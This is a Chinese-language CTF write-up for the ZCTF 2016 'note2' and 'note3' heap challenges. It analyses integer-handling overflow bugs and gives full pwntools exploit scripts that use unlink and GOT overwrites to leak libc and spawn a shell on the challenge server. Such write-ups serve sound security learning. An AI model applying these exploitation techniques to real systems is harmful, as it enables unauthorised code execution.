2016-ZCTF-note2 https://files.buuoj.cn/files/761fb16a644de97e745bb29b281c0fff/note2
grxer@Ubuntu16:~/Desktop/pwn/heap$ checksec note2 [*] '/home/grxer/Desktop/pwn/heap/note2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
没开pie而且有指针全局数组再bss段,最多四个堆块,可通过数组里的指针编辑修改数据,优先考虑unlink
找找哪里有堆溢出不
unsigned __int64 __fastcall ReadStr (char *s, __int64 len, char a3) { char buf; unsigned __int64 i; ssize_t v7; for ( i = 0LL ; len - 1 > i; ++i ) { v7 = read(0 , &buf, 1uLL ); if ( v7 <= 0 ) exit (-1 ); if ( buf == a3 ) break ; s[i] = buf; } s[i] = 0 ; return i; }
自定义了一个输入函数,可惜忽略了signed数和unsigned数比较时signed会转变为unsigned数,我们malloc(0)时,len-1为-1,-1和unsigned i比较时会变为0xffffffff,可以堆溢出
malloc(0)时,glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。
伪造unlink chunk content = b’a’ * 8 + p64(0xa1) + p64(fakefd) + p64(fakebk) + b’b’ * 0x48 newnote(0x80, content) newnote(0, ‘a’ * 8) newnote(0x80, ‘b’ * 16)
在chunk0里伪造chunk,为了绕过=P的检测我们
ptr = 0x0000000000602120 这里存储的是伪造chunk的开始地址 fakefd = ptr - 0x18 fakebk = ptr - 0x10
这里我们不能直接在chunk1申请时进行溢出,因为那时候我们还没有申请到chunk2,溢出会到topchunk,
我们先删除在申请就可以,因为大小是fastbin,再申请还是那个堆
deletenote(1) content = b’a’ * 16 + p64(0xa0) + p64(0x90) newnote(0,content)
这样我们就可以溢出chunk2
deletenote(2) unlink
和我们上一篇文章讨论的一样把ptr地址内容改为ptr-0x18
leak 拿shell 修改chunk0把ptr[0]修改为atoi_got,直接show就可以泄露出来atoi地址
atoi_got = elf.got[‘atoi’] content = b’a’ * 0x18 + p64(atoi_got) editnote(0, 1, content) shownote(0)
再利用edit改写其got为system,输入binsh拿shell即可
content = p64(system) editnote(0, 1, content) ru(b’option—>>’) sl(b’/bin/sh\x00’)
EXP from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ) pwnfile='./note2' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE' ]: io = remote('node4.buuoj.cn' ,'29970' ) else : io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends=True ) ru = lambda x: io.recvuntil(x, drop=True ) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->' +hex (y)) def newnote (length, content ): io.recvuntil(b'option--->>' ) io.sendline(b'1' ) io.recvuntil(b'(less than 128)' ) io.sendline(str (length).encode()) io.recvuntil(b'content:' ) io.sendline(content) def shownote (id ): io.recvuntil(b'option--->>' ) io.sendline(b'2' ) io.recvuntil(b'note:' ) io.sendline(str (id ).encode()) def editnote (id , choice, s ): io.recvuntil(b'option--->>' ) io.sendline(b'3' ) io.recvuntil(b'note:' ) io.sendline(str (id ).encode()) io.recvuntil(b'2.append]' ) io.sendline(str (choice).encode()) io.sendline(s) def deletenote (id ): io.recvuntil(b'option--->>' ) io.sendline(b'4' ) io.recvuntil(b'note:' ) io.sendline(str (id ).encode()) db('b *0x400F74' ) io.recvuntil('name:' ) io.sendline('hello' ) io.recvuntil('address:' ) io.sendline('grxer' ) ptr = 0x0000000000602120 fakefd = ptr - 0x18 fakebk = ptr - 0x10 content = b'a' * 8 + p64(0xa1 ) + p64(fakefd) + p64(fakebk) + b'b' * 0x48 newnote(0x80 , content) newnote(0 , 'a' * 8 ) newnote(0x80 , 'b' * 16 ) deletenote(1 ) content = b'a' * 16 + p64(0xa0 ) + p64(0x90 ) newnote(0 ,content) deletenote(2 ) atoi_got = elf.got['atoi' ] content = b'a' * 0x18 + p64(atoi_got) editnote(0 , 1 , content) shownote(0 ) ru(b'is ' ) atoi_ad=u64(r(6 ).ljust(8 ,b'\x00' )) p('atoi' ,atoi_ad) libc=LibcSearcher('atoi' ,atoi_ad) base=atoi_ad-libc.dump('atoi' ) system=libc.dump('system' )+base content = p64(system) editnote(0 , 1 , content) ru(b'option--->>' ) sl(b'/bin/sh\x00' ) io.interactive()
2016-ZCTF-note3 https://files.buuoj.cn/files/569bb2532339a0bd669f5d2457526ba7/zctf_2016_note3
和note2一样的保护
和note2相比,这次可以申请最多7个chunk,全局指针数组0x6020C0的0是最近申请或修改过的指针,后面依次顺序是malloc的chunk
这次没有了show函数帮我方便的leak地址
老的堆溢出的漏洞依旧存在
还有了新的堆溢出方式
第一种溢出方式 和之前一下自定义read时-1转换为无符号读取即可
第二种溢出方式 int edit () { __int64 v0; __int64 v1; __int64 v3; puts ("Input the id of the note:" ); v0 = getsize(); v3 = v0 % 7 ; if ( v0 % 7 >= v0 ) { v1 = (__int64)*(&ptr + v3); if ( v1 ) { puts ("Input the new content:" ); myread((__int64)*(&ptr + v3), ptr_st[v3 + 8 ], 10 ); ptr_st[0 ] = (__int64)*(&ptr + v3); LODWORD(v1) = puts ("Edit success" ); } } else { LODWORD(v1) = puts ("please input correct id." ); } return v1; }
__int64 getsize () { __int64 v1; char nptr[40 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); myread((__int64)nptr, 32LL , 10 ); v1 = atol(nptr); if ( v1 < 0 ) return -v1; return v1; }
NEG指令 -x=~x+1
当x为该位数可以表示的最大负数时,比如int 最大负数0x80000000
取反+1还是0x80000000
#include <stdio.h> #include <stdlib.h> int main (void ) { int v2 = -2147483648 ; if (v2==-v2) { puts ("ohhhhh" ); } }
这里我们输入最大负整数-9223372036854775808,getsize返回-v1还是这个值给到edit里的v0,v3=-1,同时满足 v0 % 7 >= v0
myread((__int64)*(&ptr + v3), ptr_st[v3 + 8], 10);
这样我们修改ptr[-1]也就是最近使用的堆,大小为ptr_st[-1 + 8],第6个chunk的大小,我们把第6个chunk地址申请的比最近使用的那个大就可以实现堆溢出
第三种 new时检测了chunk个数是不是大于7,但是只是puts,并没有实质性的阻值申请,申请后会把chunk8的ptr放到ptr数组开头的同时会把ptr放到,chunk1的size指针地址里,改变了chunk1的size,可以实现溢出
if ( i == 7 ) puts ("Note is full, add fail" ); puts ("Input the length of the note content:(less than 1024)" ) *(&ptr + i) = v3; ptr_st[i + 8 ] = size; ptr_st[0 ] = (__int64)*(&ptr + i);
其他好说 常规构造unlink后,没有show方便泄露地址,我们可以自己利用puts自己泄露
改写freegot内容为puts,这里改写时要注意发送7个字节即可p64(puts_plt)[:-1],如果8个字节+一个/n,/n最后又被置零,所以覆盖freegot时,会误覆盖freegot的下一个putsgot最低一个字节为\x00造成程序崩溃
改写另一个chunk指针为puts_plt,free这个chunk可以泄露地址,
再改写atoi-got为system即可
EXP from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ) pwnfile='./note3' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE' ]: io = remote('node4.buuoj.cn' ,'25662' ) else : io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends=True ) ru = lambda x: io.recvuntil(x, drop=True ) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->' +hex (y)) def newnote (length, content ): io.recvuntil(b'option--->>' ) io.sendline(b'1' ) io.recvuntil(b'(less than 1024)' ) io.sendline(str (length).encode()) io.recvuntil(b'content:' ) io.sendline(content) def shownote (id ): io.recvuntil(b'option--->>' ) io.sendline(b'2' ) io.recvuntil(b'note:' ) io.sendline(str (id ).encode()) def editnote (id ,data ): io.recvuntil('>>' ) io.sendline('3' ) io.recvuntil('note:' ) io.sendline(str (id )) io.recvuntil('ent:' ) io.sendline(data) io.recvuntil('success' ) def deletenote (id ): io.recvuntil(b'option--->>' ) io.sendline(b'4' ) io.recvuntil(b'note:' ) io.sendline(str (id ).encode()) ptr = 0x6020C8 fakefd = ptr - 0x18 fakebk = ptr - 0x10 content = b'a' * 8 + p64(0xa1 ) + p64(fakefd) + p64(fakebk) + b'b' * 0x48 newnote(0x80 , content) newnote(0 , 'a' * 8 ) newnote(0x80 , 'b' * 16 ) deletenote(1 ) content = b'a' * 16 + p64(0xa0 ) + p64(0x90 ) newnote(0 ,content) deletenote(2 ) free_got = elf.got['free' ] puts_got = elf.got['puts' ] atoi_got = elf.got['atoi' ] puts_plt = elf.plt['puts' ] payload=b'a' *0x18 +p64(free_got)+p64(puts_got)+p64(atoi_got) editnote(0 ,payload) editnote(0 ,p64(puts_plt)[:-1 ]) deletenote(1 ) rl() puts_ad=u64(r(6 ).ljust(8 ,b'\x00' )) p('puts' ,puts_ad) libc=LibcSearcher('puts' ,puts_ad) base=puts_ad-libc.dump('puts' ) system=libc.dump('system' )+base editnote(2 ,p64(system)) io.recvuntil(b'option--->>' ) sl(b'/bin/sh\x00' ) io.interactive()